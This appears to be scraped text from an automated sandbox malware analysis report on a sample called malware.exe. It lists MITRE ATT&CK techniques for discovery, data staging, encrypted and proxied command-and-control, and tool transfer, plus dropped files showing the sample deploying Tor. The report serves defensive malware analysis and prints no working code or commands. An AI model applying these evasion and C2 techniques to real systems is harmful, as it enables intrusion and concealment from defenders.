Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Network protocol analysis
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report malware.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ijwyemtq.tfw.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iy0cbdpq.l4y.ps1

C:\Users\user\AppData\Roaming\tor\cached-certs (copy)

C:\Users\user\AppData\Roaming\tor\cached-certs.tmp

C:\Users\user\AppData\Roaming\tor\cached-microdesc-consensus (copy)

C:\Users\user\AppData\Roaming\tor\cached-microdesc-consensus.tmp

C:\Users\user\AppData\Roaming\tor\cached-microdescs.new

C:\Users\user\AppData\Roaming\tor\state (copy)

C:\Users\user\AppData\Roaming\tor\state.tmp

C:\Users\user\AppData\Roaming\tor\unverified-microdesc-consensus (copy)

C:\Users\user\AppData\Roaming\tor\unverified-microdesc-consensus.tmp

C:\Users\user\Desktop\TorFiles\Data\Tor\geoip

C:\Users\user\Desktop\TorFiles\Data\Tor\geoip6

C:\Users\user\Desktop\TorFiles\Tor\libeay32.dll

C:\Users\user\Desktop\TorFiles\Tor\libevent-2-1-6.dll

C:\Users\user\Desktop\TorFiles\Tor\libevent_core-2-1-6.dll

C:\Users\user\Desktop\TorFiles\Tor\libevent_extra-2-1-6.dll

Windows Analysis Report
malware.exe

Function 00007FF6EA70169E Relevance: 10.4, Strings: 8, Instructions: 407
COMMON

Function 00007FF6EA706CE3 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 41
COMMON

Function 00007FF6EA704E16 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 237
COMMON

Function 00007FF6EA700FCD Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 92
processsynchronizationCOMMON

Function 00007FF6EA8528F0 Relevance: 7.5, APIs: 5, Instructions: 44
threadCOMMON

Function 00007FF6EA718B30 Relevance: 6.1, APIs: 4, Instructions: 53
COMMON

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre